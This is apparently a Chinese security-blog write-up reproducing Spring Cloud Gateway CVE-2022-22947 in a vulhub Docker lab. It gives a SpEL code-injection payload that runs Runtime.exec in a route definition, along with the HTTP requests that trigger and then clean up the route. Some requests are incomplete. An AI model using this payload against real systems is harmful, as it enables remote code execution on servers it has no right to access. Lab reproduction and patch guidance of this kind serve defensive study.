Spring-Cloud-Gateway-CVE-2022-22947漏洞复现
⽬录
漏洞描述
Spring Cloud Gateway 远程代码执⾏漏洞（CVE-2022-22947）发⽣在Spring Cloud Gateway应⽤程序的Actuator端点，其在启⽤、公开和不安全的情况下容易受到代码注⼊的攻击。攻击者可通过该漏洞恶意创建允许在远程主机上执⾏任意远程执⾏的请求
影响版本
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway < 3.0.7
漏洞复现
环境搭建
1. dokcer pull vulhub/spring-cloud-gateway:3.1.0
2. docker run -itd -p 5000:8080 --name spring vulhub/spring-cloud-gateway:
3.1.0
3. 最后访问ip:5000
过程
1. 添加⼀个spel表达式的路由，数据包如下
Accept:*/*
Connection: close
cve漏洞库
Accept-Language: en
Content-Type: application/json
Content-Length: 364
{
"id": "xd",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime( ).exec(new String[]{\"whoami\"}).getInputStream()))}"}
}],
"uri": "example",
"order": 0
}
2. 触发路由⽣效，数据包如下
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:5000
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept:*/*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
3. 查看执⾏结果，数据包如下
Accept:*/*
Connection: close
Content-Type: application/x-www-form-urlencoded
4. 清理路由，数据包如下
DELETE /actuator/gateway/routes/xd HTTP/1.1
Host: localhost:5000
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Accept-Encoding: gzip, deflate
Accept:*/*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
5. 重复2，使清除路由⽣效
批量url检测
漏洞修复
1. 升级到安全版本
2. 修改Spring配置，禁⽌访问Spring Cloud Gateway actuator端点

版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。